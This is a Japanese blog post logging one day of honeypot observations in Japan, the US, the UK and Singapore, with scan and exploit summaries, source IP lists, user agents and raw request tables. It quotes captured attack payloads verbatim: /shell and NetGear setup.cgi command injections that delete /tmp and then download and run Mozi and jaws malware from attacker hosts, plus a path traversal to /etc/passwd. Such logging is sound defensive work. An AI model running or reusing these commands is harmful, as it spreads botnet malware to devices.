2023/01/19 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/01/19分です。

特徴

共通

zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
aiohttpによるスキャン行為
masscanによるスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:US

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
aiohttpによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 5.255.105.71/76d32be0.sh;
sh /tmp/76d32be0.sh

cd /tmp;
rm -rf *;
wget http://101.0.42.20:59581/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Pulse Secureのの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
curlによるスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:SG

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス
CensysInspectによるスキャン行為
masscanによるスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.12.253.180/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 5.255.105.71/76d32be0.sh;
sh /tmp/76d32be0.sh

他

アクセス数推移

JP：総アクセス数：143 (前日比：11)
US：総アクセス数：147 (前日比：60)
UK：総アクセス数：111 (前日比：0)
SG：総アクセス数：98 (前日比：-3)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	3.16.36.7	United States
1	23.251.102.82	United States
2	34.168.182.116	United States
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	51.159.152.255	France
52	59.110.222.185	China
2	66.23.202.115	United States
1	66.175.213.4	United States
1	91.236.254.96	France
4	95.214.235.205	Ukraine
1	103.41.37.12	India
2	109.206.243.235	Bulgaria
11	116.205.231.114	China
1	128.14.134.170	United States
5	129.146.165.46	United States
8	135.125.217.54	France
7	135.125.244.48	France
2	161.35.138.230	United States
1	162.142.125.10	United States
2	172.104.11.46	United States
2	172.105.82.111	United States
1	172.105.128.13	United States
3	176.9.170.63	Germany
1	181.214.218.69	United States
5	183.136.225.32	China
1	185.81.68.211	Russia
1	185.225.74.130	Bulgaria
5	185.254.196.115	Ukraine
1	192.155.90.220	United States
1	192.227.173.18	United States
1	192.241.200.103	United States
1	192.241.223.29	United States
1	198.98.52.86	United States
1	198.235.24.23	United States
8	202.170.204.50	India

UserAgent一覧

件数	UserAgent
91	`-`
1	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52`
6	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
29	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)`
1	`Mozilla/5.0 zgrab/0.x`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
14		`\x16\x03\x01`
32	GET	`/.env`	HTTP/1.1
1	GET	`/.git/HEAD`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//103[.]41[.]37[.]12:54003/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
3	GET	`/systembc/password.php`	HTTP/1.0
4	GET	`http[:]//18[.]179[.]20[.]5:80/MyAdmin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/PHPMYADMIN/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/PMA2005/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/SQL/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/_phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/phpmyadmin/scripts/setup.txt`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/db/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/dbadmin/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//18[.]179[.]20[.]5:80/myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysql-admin/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//18[.]179[.]20[.]5:80/mysqladmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/mysqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/p/m/a/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/php-my-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/php-myadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/php/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.0/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.1.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.7/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.11.9.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.5/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.5.7-pl1/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2.8.0.2/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin-2/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
4	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/phpmy-admin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/pma2005/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/secret/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/secret123/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/sqlmanager/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/sqlweb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/typo3/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/web/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/webadmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/webdb/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//18[.]179[.]20[.]5:80/websql/scripts/setup.php`	HTTP/1.0
3	HEAD	`/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/71624567`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.97.234.81	United States
1	23.90.160.114	United States
1	31.7.63.42	Panama
2	35.204.163.172	United States
1	45.12.253.180	Bulgaria
1	45.55.0.17	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
1	45.227.254.54	Belize
35	51.79.29.48	Canada
1	59.40.10.31	China
1	64.62.197.100	United States
2	66.175.213.4	United States
1	66.240.205.34	United States
1	101.0.42.20	India
1	103.114.107.34	Vietnam
1	107.170.243.10	United States
1	107.172.233.142	United States
1	109.206.241.102	Bulgaria
2	109.237.97.180	Russia
1	117.255.78.56	India
1	120.236.133.60	China
1	120.238.176.174	China
41	139.99.123.180	Canada
2	143.198.193.234	United States
1	152.89.196.211	Russia
4	154.26.136.165	United States
2	159.223.93.153	United States
2	162.142.125.222	United States
1	162.221.192.26	United States
1	165.227.234.94	United States
2	172.104.11.34	United States
2	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.13	United States
1	173.214.175.178	United States
1	179.43.143.186	Panama
1	179.43.177.242	Panama
3	183.136.225.32	China
7	185.254.196.223	Ukraine
2	193.35.18.107	Bulgaria
1	195.226.194.70	Russia
1	198.199.92.151	United States
1	198.235.24.137	United States
6	205.185.118.237	United States

UserAgent一覧

件数	UserAgent
28	`-`
6	`Go-http-client/1.1`
3	`Hello, world`
1	`Mozila/5.0`
41	`Mozilla/5.0 (Linux; Android 10; Pixel Build/QP1A.190711.019; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Mobile Safari/537.36`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3542.0 Safari/537.36`
46	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
9	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
1	`Python/3.7 aiohttp/3.7.4.post0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`MGLNDD_34.68.118.83_80\n`
2		`\x03`
1		`\x16\x03\x01\x01H\x01`
19		`\x16\x03\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/config`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.circleci/config.yml`	HTTP/1.1
1	GET	`/.config`	HTTP/1.1
1	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.dev.local`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.txt`	HTTP/1.1
48	GET	`/.env`	HTTP/1.1
3	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_ignition/health-check`	HTTP/1.1
1	GET	`/_profiler/phpinfo.php`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
1	GET	`/app_dev.php/_profiler/phpinfo`	HTTP/1.1
2	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/config.json`	HTTP/1.1
1	GET	`/config/aws.yml`	HTTP/1.1
1	GET	`/configs/application.ini`	HTTP/1.1
1	GET	`/configs/s3_config.json`	HTTP/1.1
1	GET	`/configuration.php-dist`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/env.js`	HTTP/1.1
4	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/frontend/web/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/infos.php`	HTTP/1.1
1	GET	`/linusadmin-phpinfo.php`	HTTP/1.1
2	GET	`/metrics`	HTTP/1.1
1	GET	`/php-info.php`	HTTP/1.1
1	GET	`/php.php`	HTTP/1.1
1	GET	`/php_info.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/pinfo.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/s3cmd.ini`	HTTP/1.1
1	GET	`/settings.php.bak`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+5[.]255[.]105[.]71/76d32be0.sh;sh+/tmp/76d32be0.sh`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//101[.]0[.]42[.]20:59581/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/src/phpinfo.php`	HTTP/1.1
1	GET	`/temp.php`	HTTP/1.1
1	GET	`/tmp/phpinfo.php`	HTTP/1.1
2	GET	`/v2/`	HTTP/1.1
1	GET	`/web/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/wp-config.php.bak`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
9	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
8	5.133.30.128	Palestine
2	34.65.231.113	United States
2	45.12.253.180	Bulgaria
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
1	45.227.254.54	Belize
34	51.79.29.48	Canada
1	64.62.197.121	United States
1	66.175.213.4	United States
2	109.237.97.180	Russia
2	157.230.218.252	United States
1	162.243.132.24	United States
1	162.243.146.32	United States
9	164.52.25.251	China
1	164.92.86.121	United States
2	172.104.11.34	United States
1	172.104.11.46	United States
1	172.105.128.12	United States
1	179.43.143.186	Panama
1	179.43.177.242	Panama
14	185.130.224.57	Netherlands
2	185.225.74.45	Bulgaria
7	185.254.196.223	Ukraine
2	192.155.90.220	United States
1	192.241.218.28	United States
1	192.241.218.45	United States
1	195.133.20.253	Czechia
1	198.235.24.151	United States
5	205.185.118.237	United States
1	205.210.31.38	United States

UserAgent一覧

件数	UserAgent
38	`-`
2	`Abcd`
1	`Go-http-client/1.1`
2	`Guayoyo - Mozilla/5.0 (compatible; vCenter)`
2	`Mozila/5.0`
2	`Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0`
42	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 zgrab/0.x`
1	`Report Runner - Internet Research`
9	`curl/7.54.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
1		`SSH-2.0-libssh2_1.10.0`
1		`\x03`
1		`\x16\x03\x01\x01H\x01`
2		`\x16\x03\x01\x01`	\x01
23		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
42	GET	`/.env`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodiscover.json%3F@abc.com`	HTTP/1.1
1	GET	`/bamboo/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/bitbucket/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/confluence/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/crowd/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/jira/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/logon/LogonPoint/tmindex.html`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/secure/rest/applinks/1.0/manifest`	HTTP/1.1
1	GET	`/ui/login.action`	HTTP/1.1
2	GET	`http[:]//132[.]145[.]66[.]34:80/mysql-admin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.0.2/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.10.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.3/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin-2.11.4/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
2	POST	`/HNAP1/`	HTTP/1.1
6	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/casa/nodes/thumbprints`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1
1	POST	`/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData`	HTTP/1.1
1	PUT	`/api/v2/cmdb/system/admin/admin`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.55.53.144	United States
1	23.251.102.82	United States
2	34.65.19.122	United States
1	45.12.253.180	Bulgaria
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
2	45.79.181.251	United States
1	45.227.254.54	Belize
35	51.79.29.48	Canada
1	54.151.34.69	United States
1	59.15.106.232	South Korea
2	80.94.92.9	Romania
1	109.206.243.235	Bulgaria
1	120.87.59.69	China
1	128.14.134.170	United States
4	152.32.180.70	Hong Kong
2	159.203.63.81	United States
2	159.203.92.100	United States
2	162.142.125.222	United States
1	172.105.82.111	United States
2	172.105.128.13	United States
1	179.43.177.242	Panama
6	183.136.225.32	China
1	183.222.19.167	China
1	184.105.247.194	United States
4	185.225.74.45	Bulgaria
4	192.155.90.118	United States
1	192.241.227.9	United States
1	192.241.237.15	United States
1	194.55.186.216	Bulgaria
1	194.180.49.233	Bulgaria
1	197.53.239.229	Egypt
1	198.199.108.74	United States
4	205.185.118.237	United States
1	205.210.31.5	United States
1	205.210.31.143	United States
1	209.201.15.190	United States

UserAgent一覧

件数	UserAgent
23	`-`
4	`Abcd`
3	`Go-http-client/1.1`
3	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 OPR/90.0.4480.100`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
38	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
5	`Mozilla/5.0 zgrab/0.x`
1	`masscan/1.3 (https[:]//github[.]com/robertdavidgraham/masscan)`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x03`
1		`\x16\x03\x01\x01\t\x01`
17		`\x16\x03\x01`
1	GET	`../../proc/ HTTP`
37	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/Telerik.Web.UI.WebResource.axd?type=rau`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/aaa9`	HTTP/1.1
1	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/rZGQLlP650YHigFvNRICVqwdyxi`	HTTP/1.1
4	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//120[.]87[.]59[.]69:60370/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]12[.]253[.]180/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+5[.]255[.]105[.]71/76d32be0.sh;sh+/tmp/76d32be0.sh`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
2	GET	`/systembc/password.php`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
6	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	POST	`/cn/cmd`	HTTP/1.1
2	POST	`/dvr/cmd`	HTTP/1.1
1	PRI	`*`	HTTP/2.0